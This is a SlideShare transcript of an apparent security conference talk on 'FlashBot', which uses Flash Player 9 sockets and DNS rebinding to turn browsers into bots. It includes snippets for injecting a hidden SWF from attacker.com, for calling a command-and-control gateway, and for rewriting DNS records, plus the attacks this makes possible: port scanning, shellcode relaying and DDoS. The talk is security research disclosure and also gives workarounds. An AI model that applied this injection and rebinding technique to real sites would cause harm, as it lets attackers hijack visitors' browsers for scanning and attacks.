Zombilizing The Web Browser Via Flash Player 9

Loading...

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

1 comments

Comments 1 - 1 of 1 previous next Post a comment

Post a comment
Embed Video
Edit your comment Cancel

2 Favorites

Zombilizing The Web Browser Via Flash Player 9 - Presentation Transcript

  1. Zombilizing The Web Browers Via Flash Player 9
    • Thai N. Duong
    • <thaidn AT gmail DOT com>
    http://vnhacker.blogspot.com
  2. Overview
    • Flash Player 9 and its potential weaknesses
      • Socket class
      • Breaking the same-origin policy using crossdomain.xml and DNS Spoofing
    • Exploiting the weaknesses
      • Introducing FlashBot
      • Demo
    • Workarounds
  3. Flash Player 9 Socket class
    • Quote from Flash 9 documentation
    • “ The Socket class enables ActionScript code to make socket connections and to read and write raw binary data. The Socket class is useful for working with servers that use binary protocols.”
  4. Flash Player 9 Socket class
    • Quote from Flash 9 documentation
    • “ The Socket class enables ActionScript code to make socket connections and to read and write raw binary data. The Socket class is useful for working with servers that use binary protocols.”
    Let's port nmap to ActionScript !
  5. Flash Player 9 Socket class
    • Quote from Flash 9 documentation
    • “ The Socket class enables ActionScript code to make socket connections and to read and write raw binary data. The Socket class is useful for working with servers that use binary protocols.”
    • Let's port nmap to ActionScript !
      • Err wait, how about the
      • same-origin policy ?
  6. Same-Origin Policy
    • originally released with Netscape Navigator 2.0 and has been incorporated into every major browser since
    • prevents a document or script loaded from one site of origin from manipulating properties of or communicating with a document loaded from another site of origin
    • origin = domain name + port + protocol
  7. Same-Origin Policy
  8. Flash Player 9 Same-Origin Policy
  9. Breaking the SOP: crossdomain.xml
    • A SWF file from a.com may read from the server at b.com (using the Socket class, for example) if b.com has a cross-domain policy file that permits access from a.com (or from all domains).
    • <?xml version=&quot;1.0&quot;?>
    • <!DOCTYPE cross-domain-policy SYSTEM &quot;http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd&quot;>
    • <cross-domain-policy>
    • <allow-access-from domain=”*” to-ports=”*” />
    • </cross-domain-policy>
    • Yahoo! - http://api.search.yahoo.com/crossdomain.xml
    • YouTube - http://www.youtube.com/crossdomain.xml
    • Amazon.com - http://www.amazon.com/crossdomain.xml
  10. DNS Pinning Explained
    • same-origin policy
    • origin = domain name + port + protocol
  11. DNS Pinning Explained
    • same-origin policy
    • origin = domain name + port + protocol
    • DNS is not static, and host names could potentially resolve to different addresses over the course of a browsing session. Dynamic DNS anybody?
    • Browsers use DNS pinning to prevent attackers from manipulating DNS timeouts to their advantage. DNS pinning means that once an address is returned for a host name it is used for the duration of the browsing session, regardless of the DNS timeout associated with the domain
  12. DNS Pinning
    • same-origin policy
    • origin = domain name + port + protocol
    • DNS is not static, and host names could potentially resolve to different addresses over the course of a browsing session.
    • Browsers use DNS pinning to prevent attackers from manipulating DNS timeouts to their advantage. DNS pinning means that once an address is returned for a host name it is used for the duration of the browsing session, regardless of the DNS timeout associated with the domain
    • fact: Flash Player does not pin DNS at all.
  13. Breaking the SOP: DNS Spoofing
    • The user loads a SWF file from www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second.
  14. Breaking the SOP: DNS Spoofing
    • The user loads a SWF file from www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second.
    • ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired.
  15. Breaking the SOP: DNS Spoofing
    • The user loads a SWF file from www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second.
    • ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired.
    • Since the DNS is not longer valid, the user's Flash Player connects to the DNS server to ask where www.attacker.com is now located.
  16. Breaking the SOP: DNS Spoofing
    • The user loads a SWF file from www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second.
    • ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired.
    • Since the DNS is not longer valid, the user's Flash Player connects to the DNS server to ask where www.attacker.com is now located.
    • The DNS server, controlled by attackers, responds with 111.111.111.111, which points to www.example.com.
  17. Breaking the SOP: DNS Spoofing
    • The user loads a SWF file from www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second.
    • ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired.
    • Since the DNS is not longer valid, the user's Flash Player connects to the DNS server to ask where www.attacker.com is now located.
    • The DNS server, controlled by attackers, responds with 111.111.111.111, which points to www.example.com
    • The SWF file located on www.attacker.com now has full access to www.example.com
  18. FlashBot 101
    • an 130KB SWF file written in ActionScript 3.0 that works on all web browsers supporting Flash Player 9
    • once loaded on victim web browsers, FlashBot can leverage victim computers to execute commands received from a C&C server
    • commands that FlashBot understands:
      • port scaning
      • socket relaying (i.e., to send shellcode)
      • launching web DDoS attacks
  19. How FlashBot works
    • FlashBot is secretly inserted into www.example.com via JavaScript or iframe:
    • function source() {
    • return &quot;http://&quot; + Math.random().toString().substr(2) + &quot;.&quot; + &quot;attacker.com/ flashbot .swf&quot; ;
    • }
    • document.write('<object width=&quot;1&quot; height=&quot;1&quot;>');
    • document.write('<embed src=&quot;' + source() + '&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;1&quot; height=&quot;1&quot;>');
    • document.write('</embed></object>');
  20. How FlashBot works
    • Victim visits www.example.com to load FlashBot from http://<random-subdomain>.attacker.com/flashbot.swf
    • ActionScript in FlashBot connects back to the C&C server:
    • private function getCommand(subdomain:String, domain:String):void {
    • var cnc: String = &quot;http://cnc&quot; + &quot;.&quot; + domain;
    • var connection:NetConnection = new NetConnection();
    • connection.connect(cnc + &quot;/flashservices/gateway.php&quot;);
    • connection.call(&quot;FlashBot.getCommand&quot;, responder, subdomain, domain);
    • }
  21. How FlashBot works
    • C&C server sends to FlashBot a command which is associated with a target IP address
    • C&C server automatically updates the DNS server (powered by PowerDNS) to map the subdomain of victim to the target IP address:
    • $query = &quot;SELECT 1 FROM records WHERE name = ' $record_name '&quot;;
    • $result = mysql_query($query);
    • if ( mysql_num_rows($result) ) {
    • $query = &quot;UPDATE records SET content=' $ip ' WHERE name='$record_name'&quot;;
    • }
    • else {
    • $query = &quot;INSERT INTO records VALUES (NULL, 2, '$record_name', 'A', '$ip', ' 6 ', NULL, NULL)&quot;;
    • }
  22. How FlashBot works
    • ActionScript in FlashBot waits for the DNS information expires:
    • timer1 = new Timer( 10 * 1000, 1 );
    • timer1.addEventListener( TimerEvent.TIMER, exeCommand );
    • timer1.start();
    • FlashBot executes the command, and (optionally) sends the result back to C&C then to start over the whole process.
  23. Show Time! - set your DNS server to 221.133.4.24 - start Wireshark to see what you send out!
  24. Demo 1: port scanning
    • works on Firefox
    • scan 127.0.0.1
    • scan all other hosts in the same subnet with the victim
    • http://www.example.com/scanport.html
  25. Demo 2: socket relaying
    • works on all browsers supporting Flash Player 9
    • relay socket connection to any IP address in the intranets and the Internet
    • can be used to send shellcodes, spam mails, launch DDoS attacks
    • http://www.example.com/relay.html
  26. Workarounds
    • disable Flash Player (and all other plugins) in your web browser.
    • still want to watch youtube.com? use Firefox + NoScript + FlashBlock
    • restrict browser access to only port 80 and 443 using a personal firewall
  27. Thanks
    • DAB Security Team
    • VNSecurity Team, esp. rd and aquynh
    • http://christ1an.blogspot.com
    • http://www.jumperz.net
    • theresacow: I own you a hug ;).
  28. Zombilizing The Web Browers Via Flash Player 9
    • Thank you!
    • Questions/Comments?
    Thai N. Duong

+ thaidnthaidn, 3 years ago

custom

5985 views, 2 favs, 4 embeds more stats

This paper talks about how hackers can exploit Flas more

More info about this document

© All Rights Reserved

Go to text version

  • Total Views 5985
    • 5550 on SlideShare
    • 435 from embeds
  • Comments 1
  • Favorites 2
  • Downloads 192
Most viewed embeds
  • 430 views on http://vnhacker.blogspot.com
  • 3 views on http://209.85.175.104
  • 1 views on http://cc.msnscache.com
  • 1 views on https://s3.amazonaws.com

more

All embeds
  • 430 views on http://vnhacker.blogspot.com
  • 3 views on http://209.85.175.104
  • 1 views on http://cc.msnscache.com
  • 1 views on https://s3.amazonaws.com

less

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate. If needed, use the feedback form to let us know more details.

Cancel
File a copyright complaint
Having problems? Go to our helpdesk?

Categories